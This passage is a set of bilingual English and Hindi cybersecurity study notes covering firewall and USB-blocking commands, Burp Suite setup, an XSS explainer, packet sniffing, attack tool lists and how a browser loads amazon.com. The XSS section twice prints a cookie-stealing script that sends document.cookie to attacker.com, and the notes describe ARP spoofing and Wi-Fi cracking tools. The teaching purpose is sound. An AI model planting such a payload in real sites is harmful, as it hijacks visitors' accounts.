• Perform Static (SAST), Dynamic (DAST) and Interactive (IAST) security testing.

• Secure APIs using OAuth2, rate limiting, JWT, and input validation.

• Conduct threat modeling using STRIDE or DREAD frameworks.
  
  

💣 7. Red Team / Blue Team Exercises

• Simulate real-world attacks (Red Team) vs. defenders (Blue Team).

• Use MITRE ATT&CK framework to map adversary techniques.

• Introduce Purple Teaming for collaboration and continuous improvement.
  
  

📊 8. Security Logging & Monitoring

• • • • Implement centralized logging using SIEMs: Splunk, Elastic, QRadar, or Wazuh.

      • Set up alerts for anomalies like:

        • • • • Lateral movement

              • Privilege escalation

              • Suspicious PowerShell scripts
                
                

🛡️ 9. Cloud Security Best Practices

• Enforce IAM policies, multi-factor authentication, and least privilege on cloud platforms (AWS IAM, Azure RBAC, etc.).

• Use Cloud Security Posture Management (CSPM) tools: Prisma Cloud, Wiz, Check Point Dome9.

• Encrypt data at rest and in transit using KMS/HSM services.
  
  

🧪 10. Regular Penetration Testing & Vulnerability Management

• Schedule internal and third-party pentests.

• Use Nessus, OpenVAS, Burp Suite, or Metasploit.

• Maintain a structured vulnerability disclosure program (VDP) or bug bounty.
  
  

⚔️ Bonus Pro Tips for Experts

• Use Threat Hunting Tools: Velociraptor, Osquery, Zeek

• Monitor Dark Web Leaks of org data

• Deploy Honeytokens and Honeypots to trap attackers

• Implement Container & Kubernetes Security: Aqua, Sysdig, Falco

• Review supply chain dependencies (e.g., via SCA tools like Snyk or WhiteSource)

🔥 Activity: Create a Custom Firewall Rule in Windows

🔹 Objective: Block a specific application from accessing the internet using Windows Firewall.

✅ Step-by-Step Instructions:

🔒 Step 1: Open Windows Firewall Settings

• Press Windows + R → Type wf.msc → Press Enter
  (This opens Windows Defender Firewall with Advanced Security)
  
  

🛠️ Step 2: Create a New Outbound Rule

• In the left panel, click on Outbound Rules

• In the right panel, click on New Rule...
  
  

📄 Step 3: Choose Rule Type

• • 1. 1. 1. 1. 1. • Select Program → Click Next

                   • Select This program path:

                     • Click Browse and select any .exe file (e.g., chrome.exe, notepad.exe)

                     • Click Next

🚫 Step 4: Block the Connection

• • • • • • • • Select Block the connection → Click Next

🌐 Step 5: Apply the Rule

• Check all three:

  • Domain

  • Private

  • Public → Click Next

📝 Step 6: Name the Rule

• Enter a name like: Block Chrome Internet

• Click Finish

✅ Done! That app is now blocked from accessing the internet.

🔒 Block an IP Address Using Command Line (Command Prompt)

• Open Command Prompt as Administrator

  • 1. 1. 1. 1. 1. 1. • Press Windows + X → Select Command Prompt (Admin) or Windows Terminal (Admin)

• Run this command to block an IP:

• netsh advfirewall firewall add rule name="BlockBadIP" dir=in action=block remoteip=123.123.123.123

Replace 123.123.123.123 with the IP you want to block.

🧼 To Remove the Rule Later:

• netsh advfirewall firewall delete rule name="BlockBadIP"

✅ To Confirm the Rule Was Added:

• netsh advfirewall firewall show rule name="BlockBadIP"

🚫 Step 1: Block USB Ports (Prevent USB Storage Devices)

• We'll disable the USBSTOR (USB Storage) driver.

• 🔧 Run this in Command Prompt as Administrator:

reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f

• This sets the USB Storage driver to "disabled" (value 4), so no USB devices will load.

✅ Step 2: Unblock USB Ports (Enable USB Storage Devices Again)

• To re-enable the USB ports:

reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 3 /f

• This sets the driver back to "manual" start (value 3), allowing USB devices again.

🔌 1. Blocking USB (Pendrive) Detection on Android

Android devices don’t natively support USB drives unless:

• • • • • • • • USB OTG (On-The-Go) is enabled.

              • A USB drive is connected via OTG cable.
                
                

To block or control USB access, you'd have to do one of these:

✅ If Your Android is Rooted (More power!)

You can:

• Modify system files to disable USB host mode.

• Use iptables or SELinux policies to deny mount requests.

  1. 1. 1. 1. • Example approach:

su

setprop persist.sys.usb.config none

This disables USB connection modes.

• Or block mounting using:

chmod 000 /dev/block/sdX   # Replace with actual block device for USB

🚫 If Your Android is Not Rooted

Options are limited, but you can:

• Use apps (Device Policy Controllers) that restrict USB data transfer.

• Disable OTG via developer options (not always available).

• Use MDM (Mobile Device Management) policies in enterprise setups.
  
  

🌐 2. Blocking or Controlling IP Access on Android

You can either block certain IPs or bypass IP blocking.

🔒 Block IPs:

If rooted:

su

iptables -A OUTPUT -d 192.168.1.100 -j DROP

To block a whole range:

iptables -A OUTPUT -d 192.168.0.0/24 -j DROP

If unrooted, install apps like:

• NetGuard (open-source, no-root firewall)

• NoRoot Firewall

These use VPN-based firewalls to block connections by app or IP.

🕵️‍♀️ Bypass IP Blocking (If you want access to blocked sites)

                   Use VPNs like ProtonVPN or custom OpenVPN configs.

                  Use Tor for Android (Orbot + Orfox).

Use ProxyDroid (requires root) to reroute traffic.

Burp Suite को Kali Linux में चलाना न सिर्फ possible है, बल्कि ये ethical hacking और penetration testing के लिए बहुत commonly इस्तेमाल किया जाने वाला टूल है।

Burp Suite क्या करता है?

यह एक web vulnerability scanner है जो:

• XSS, SQLi जैसी vulnerabilities खोजता है

• Intercept करता है browser और server के बीच traffic

• Requests को modify करके response चेक करता है
  
  

Kali Linux में Burp Suite कैसे चलता है?

Kali Linux में Burp Suite पहले से install होता है या आप manually भी चला सकते हैं:

• चेक करें कि पहले से install है या नहीं:

which burpsuite

• Burp चलाने का तरीका (GUI):

• • • • • burpsuite

या फिर Kali के Application Menu में:

Applications → Web Application Analysis → burpsuite

अगर Burp नहीं खुल रहा तो Java install करें:

Burp Suite को चलाने के लिए Java चाहिए होता है।

इंस्टॉल करने के लिए:

sudo apt update

sudo apt install default-jre

Browser को Burp से connect कैसे करें?

• Browser (जैसे Firefox) की proxy settings बदलो:

  • 1. 1. • HTTP Proxy: 127.0.0.1

          • Port: 8080

• Burp में Intercept on करो और देखो requests कैसे आ रही हैं।

🕵️‍♂️ Understanding Cross-Site Scripting (XSS) — From Zero Level

Let’s break it down in super simple terms, and also answer your question:
“Does traffic get captured by copying a site?”

💻 What is Cross-Site Scripting (XSS)?

XSS is a type of web-based hacking technique where an attacker injects malicious JavaScript code 🦠 into a website.
BUT — this attack doesn’t harm the website directly. It targets the user who opens the website 👤.

🎯 The goal of the attacker is to steal the user's data — like:

• 🍪 Cookies

• 🔑 Login credentials

• ↪️ Redirect the user to a fake or malicious site
  
  

❓ Does XSS involve copying the site?

Nope! ❌ XSS and phishing are two different things.

Let’s compare them using plain language and emojis:

🆚 XSS (Cross-Site Scripting) vs. Phishing / Fake Site

🛠️ What gets created?

• XSS: The real website is used, but the attacker has injected malicious JavaScript code into it 🤖.

• Phishing: The attacker creates a fake website that looks exactly like the real one 🎭.
  
  

🎯 Who is the target?

• XSS: A real user visiting the real website 👤.

• Phishing: A user who accidentally opens the fake site 🚨.
  
  

📌 Example:

• XSS: You click something, and your cookies get stolen and sent to the attacker 🍪📤.

• Phishing: You open amaz0n-login.com instead of amazon.com, and enter your password thinking it’s the real site 🧠🔓.

🧪 Example: How Does an XSS Attack Work?

Imagine there's a site: example.com/comments 💬
It allows users to post comments. If the developer didn't properly validate input, an attacker can post this:

<script>

  fetch("http://attacker.com/steal?cookie=" + document.cookie)

</script>

📉 Now, whenever any user opens that page, their browser will run the malicious script and send their cookies to the attacker. The attacker can then log into that user’s account 😱.

✅ XSS doesn’t involve making a fake site or temporary copy.
🔁 The attack happens inside the real site, but through JavaScript injection that harms the user, not the site itself.

🤔 Then what technique involves copying the site and capturing traffic?

That’s a different category of attacks that combines:

🎣 Phishing

Creating a fake website that looks like a real one (e.g., amaz0n-login.com) to trick users into entering credentials 🔓.

🧑‍💻 MITM (Man-in-the-Middle)

The attacker sits between the user and the server, capturing all the traffic passing through 🛜📥📤.

🌐 DNS Spoofing

The attacker tricks your device into visiting the wrong server by faking DNS records, sending you to the fake site instead of the real one 📍➡️🕳️.

🧠 Final Thoughts (TL;DR in Emojis)

• 1. 1. 1. 1. • 🧪 XSS = Real website + injected JavaScript = Stolen cookies/data

              • 🎭 Phishing = Fake website = Stolen passwords

              • 🧑‍💻 MITM = Intercepting data between user and server

              • 🌐 DNS Spoofing = Sending you to the wrong (fake) server

              • ❌ XSS ≠ Copying a site
                
                

• ✅ Phishing/MITM/DNS Spoofing = Techniques that copy or redirect
  
  

Cross-Site Scripting (XSS) को भी आसान हिंदी में समझते हैं — एकदम zero level से, और जो आप पूछ रही हो "site copy करके traffic capture होता है?" उसका भी जवाब देते हैं।

Cross-Site Scripting (XSS) क्या होता है?

XSS एक web-based hacking technique है जिसमें attacker वेबसाइट में malicious (खतरनाक) JavaScript code डाल देता है।

यह हमला वेबसाइट पर नहीं, उसे खोलने वाले यूज़र पर होता है।
तो attacker का मकसद होता है कि user का data चुरा सके — जैसे cookies, login info, या redirect करके fake site पर भेज दे।

क्या XSS में कोई site की copy बनती है?

नहीं, XSS और Phishing अलग-अलग होते हैं।

Feature

XSS (Cross-Site Scripting)

Phishing / Fake site

• क्या बनता है?

• असली वेबसाइट ही होती है, बस उसमें attacker ने JS डाला होता है

• attacker एक नकली वेबसाइट बनाता है जो दिखती असली जैसी है

• Target कौन?

• वेबसाइट का विज़िटर (user)

• user जो गलती से fake site खोल लेता है

• Example क्या होता है?

• यूज़र को कुछ क्लिक करने पर उसका cookie चुरा लिया जाता है

• user amazon.com की जगह amaz0n-login.com खोल ले

Example: XSS attack कैसे होता है?

सोचो एक वेबसाइट है: example.com/comments

आप वहाँ comment लिख सकते हो।

अगर site developer ने proper validation नहीं किया,
तो attacker वहाँ ऐसा JS code डाल सकता है:

<script>

  fetch("http://attacker.com/steal?cookie=" + document.cookie)

</script>

अब जो भी user उस page को खोलेगा — उसका browser attacker को उसकी cookie भेज देगा, जिससे attacker उसके account में login कर सकता है।

XSS में कोई temporary site या full copy नहीं बनती,
बल्कि attacker असली साइट में ही JavaScript injection करता है,
जिससे यूज़र के data पर हमला होता है।

तो फिर वो site copy करके traffic लेने वाली technique कौन सी होती है?

वो होती है: Phishing + DNS Spoofing + MITM (Man-in-the-middle)

• Phishing: नकली वेबसाइट जो दिखती है असली जैसी (जैसे amaz0n-login.com)

• MITM: बीच में बैठकर data capture करना

• DNS Spoofing: user को गलत server की तरफ भेजना

🕵️‍♂️ What is Sniffing?

Sniffing is the process of intercepting and capturing data packets 📦 as they travel across a network 🌐.

👂 It’s like eavesdropping on a conversation, but instead of voices, it’s data — usernames, passwords, messages, credit card info 💳 — flying through the air or cables.

🔧 How Pro Hackers Sniff Traffic

📡 1. Set Network Card to "Promiscuous Mode"

🛜 Normally, your network card (NIC) only receives data meant for your device.
👿 A hacker switches the NIC into promiscuous mode, which captures all traffic on the network — not just their own.

🔓 Now the hacker sees:

• 👤 Who’s online

• 📶 Which devices are talking

• 💬 What they’re sending

NIC means Network Interface Card. Sometimes we call it network adaptor. Through this we connect to WiFi & Ethernet. When promiscuous mode is on then sniffing can be. There are two modes of Network Interface Card: - 

a. Normal Mode - NIC receives only those packets which are meant for that device

b. Promiscuous Mode - NIC receives all packets even those which are not related to it. 

🕵️‍♂️ Why do hackers use Promiscuous Mode?

Using sniffing tools (like Wireshark), hackers can:

📡 Monitor network traffic – They can see all the data flowing through the network.

📨 Capture sensitive data – Such as usernames, passwords, etc. (if the data is not encrypted)

🧑‍💻 Identify network topology and active devices – They can map out who is connected and how devices are communicating.

🧰 2. Use a Sniffing Tool

Pro hackers use tools like:

• 🛠️ Wireshark – open-source packet analyzer (great for deep inspection 🔬)

• 🐍 Scapy – Python-based packet manipulator (used in custom attacks)

• 🦊 Ettercap – MITM + sniffing combo

  1. • • 🕵️‍♀️ Tcpdump – terminal-based packet capture tool
         
         

🧠 These tools let you filter, analyze, and reconstruct data packets.

Example:
📥 Capture login credentials sent over HTTP
🔓 See username: admin, password: 123456

🧑‍💻 3. Launch Attacks for Better Access

Hackers often combine sniffing with attacks like:

• 🎯 ARP Spoofing – Trick devices into sending data to you instead of the router

• 🔀 MITM (Man-in-the-Middle) – Sit between two devices, controlling and sniffing traffic

• 📡 DNS Spoofing – Redirect victims to fake websites to steal logins

🚨 Sniffing + Spoofing = Full control over someone’s online activity if unencrypted

🔒 What Can Be Sniffed?

🟢 Unencrypted traffic (HTTP, FTP, Telnet):

• 📧 Emails

• 🔑 Passwords

• 💳 Card details
  
  

🟡 Weakly encrypted traffic (WEP WiFi, SSL-stripped HTTPS)

🔴 Encrypted traffic (HTTPS, VPN) is hard to sniff directly, but attackers try to downgrade or trick users

🚫 Is Sniffing Legal?

❌ NO — unauthorized sniffing is illegal in almost every country 🌍.
It’s considered a form of cyber espionage or wiretapping.
✅ Legal only if:

• You own the network 🧑‍💼

• You're authorized for penetration testing 🕵️‍♂️

• You're doing research in a lab setup 🧪
  
  

🧠 Real-Life Hacker Move

Imagine this:
You're on public WiFi ☕ at a café. A hacker with a laptop nearby is sniffing the traffic.

• You check your email on an HTTP site 📧

• They see your login info in plain text 😱

• They log in as you and change your password 🛑

🛡️ How to Protect Yourself

✅ Use HTTPS (always look for 🔒 in the URL)
✅ Avoid public WiFi or use a VPN 🛡️
✅ Enable 2FA 🔐
✅ Don’t log in to sensitive accounts on unknown networks
✅ Keep your OS and apps updated 🔄

⚔️ Summary in Emojis

🧠 Sniffing = Listening to data packets
🧑‍💻 Hackers use tools like Wireshark & Scapy
🎯 Target: passwords, cards, messages
📶 Needs promiscuous mode & often MITM attacks
⚠️ Legal? ❌ Unless authorized
🛡️ Protection: HTTPS + VPN + Smart habits

🔍 Network Scanning & Discovery Tools

These tools actively scan networks to find connected devices, open ports, and running services.

🛰️ Nmap – The most powerful network scanner. Detects live hosts, open ports, running services, OS versions, and more.

🧭 NetDiscover – Lightweight ARP-based tool to quickly find live hosts on local LAN networks.

🖥️ Advanced IP Scanner – Easy-to-use Windows GUI tool for discovering devices on your local network.

⚡ Angry IP Scanner – Fast and cross-platform IP and port scanner with a simple interface.

📱 Fing – Mobile and desktop app to detect devices, scan networks, and get alerts for new connections.

🕵️ Packet Sniffing & Traffic Analysis Tools

These tools capture, inspect, and analyze data packets traveling through the network.

🧪 Wireshark – The industry-standard packet sniffer with deep protocol inspection and filtering.

🖥️ tcpdump – Command-line packet sniffer for Linux/Unix. Lightweight but powerful.

🖱️ Tshark – Terminal-based version of Wireshark for CLI-based packet analysis.

📊 EtherApe – Visual network monitor that shows real-time traffic flow between network nodes.

🧱 Netmon (Windows) – Native Windows Network Monitor (older, but still useful for testing and labs).

🧠 Network Monitoring & Intrusion Detection Tools

These tools watch your network, log activities, and alert you to suspicious behavior or intrusions.

🔎 Wireshark – Can also be used for passive real-time network monitoring.

🚨 Snort – Powerful open-source IDS/IPS to detect and prevent suspicious or malicious traffic.

💨 Suricata – High-speed IDS/IPS system and alternative to Snort, supports multi-threading.

📈 Nagios – Monitors network health, server status, service uptime, and bandwidth usage.

📡 Zabbix – Enterprise-grade monitoring for servers, applications, and entire networks.

📡 Wireless Network Tools

These tools are used for Wi-Fi scanning, cracking, rogue AP attacks, and wireless auditing.

💥 Aircrack-ng – Powerful toolkit for Wi-Fi cracking (WEP/WPA), packet injection, and handshake capturing.

📶 Kismet – Wireless network detector, sniffer, and intrusion detection system (works with monitor mode).

🔓 Reaver – Tool to brute-force WPS PINs on routers with WPS enabled.

🎭 WiFi-Pumpkin – Framework for creating rogue access points to test Man-in-the-Middle (MITM) attacks.

दिल्ली में बैठा एक लड़का अपने ब्राउज़र (Chrome) में amazon.com टाइप करता है, तो उसकी डिवाइस से वेबसाइट तक क्या-क्या होता है, एकदम step-by-step और आसान हिंदी (देवनागरी) में।

कहानी: दिल्ली का रोहन और उसकी Amazon.com यात्रा

Step 1: ब्राउज़र खोलना और URL टाइप करना

रोहन ने अपने लैपटॉप पर Chrome ब्राउज़र खोला और ऊपर address bar में टाइप किया: amazon.com

अब पीछे क्या हुआ?

• DNS Lookup (डोमेन नेम सिस्टम):

  • • • "amazon.com" एक human-friendly नाम है, लेकिन इंटरनेट को नंबर (IP addresses) समझ में आते हैं, जैसे 142.250.182.206

      • Chrome सबसे पहले OS से पूछता है: "भाई, amazon.com का IP पता है?"

      • अगर cache में नहीं मिला, तो यह DNS सर्वर (Google DNS जैसे 8.8.8.8) से पूछता है।

      • DNS system धीरे-धीरे ऊपर जाता है:

        1. • 1. 1. • .com → TLD (Top Level Domain) server से बात होती है

                   • फिर amazon के Authoritative DNS Server से

                   • और जवाब मिलता है: "amazon.com का IP है: 205.251.242.103"
                     
                     

Step 2: TCP Connection बनाना

अब रोहन का लैपटॉप उस IP (205.251.242.103) से बात करने के लिए TCP connection बनाता है।

TCP तीन कदम में connection बनाता है (3-Way Handshake):

• SYN: रोहन का सिस्टम बोलता है: “मैं कनेक्ट करना चाहता हूँ” (SYN)

• SYN-ACK: Server बोलता है: “ठीक है, मैं तैयार हूँ” (SYN-ACK)

• ACK: रोहन का सिस्टम जवाब देता है: “ठीक है, connection शुरू” (ACK)
  
  

अब दोनों में connection बन गया — ये होती है TCP 3-Way Handshake
(यह connection port 443 पर होता है क्योंकि amazon.com HTTPS इस्तेमाल करता है)

Step 3: TLS/SSL Handshake (Secure कनेक्शन)

अब बारी है TLS handshake की (पहले इसे SSL कहते थे)।
यह वेबसाइट को secure बनाता है (data encrypt करता है ताकि कोई बीच में चोरी न करे)

TLS handshake में क्या होता है:

• Client (रोहन का लैपटॉप) Server से बोलता है: “मुझे secure connection चाहिए”

• Server अपना Digital Certificate भेजता है (जिसे browser verify करता है कि ये असली amazon है)

• एक Session Key बनती है, जिससे encryption शुरू होता है
  
  

अब सारा data encrypted है — कोई बीच में snoop नहीं कर सकता!

Step 4: HTTP Request भेजना

अब Chrome एक HTTP request भेजता है:

• "Hey amazon.com, मुझे तुम्हारा homepage दो"
  
  

Step 5: Server से Response और Content

Server जवाब देता है:

• • • • • HTML फ़ाइल (Page का structure)

        • CSS फ़ाइल (design और layout जैसे रंग, आकार)

        • JavaScript (JS) फ़ाइल (interactivity, जैसे slideshow, cart इत्यादि)

        • Images
          
          

Step 6: CDNs (Content Delivery Networks)

Amazon जैसी साइट अपने images, CSS, JS जैसी static files को CDN पर डालती हैं (Cloudflare, Akamai etc.)

• CDN servers दुनिया भर में फैले होते हैं।

• दिल्ली के रोहन को दिल्ली या आसपास के server से CSS/JS/images मिलते हैं — इससे website तेज़ खुलती है।
  
  

Step 7: Page Render होना

Chrome सब फ़ाइलें लाकर:

• HTML पढ़ता है
  
  

• CSS लगाता है (colors, layout बनाता है)
  
  

• JS चलाता है (functions, animation, click वाले काम)
  
  

• और रोहन को दिखाता है Amazon का Homepage
  
  

एक लाइन में Summary:

User → DNS → IP → TCP 3-Way Handshake (SYN, SYN-ACK, ACK) @ Port 443 → TLS Handshake → HTTPS Request → Server Response (HTML + CSS + JS via CDN) → Browser Render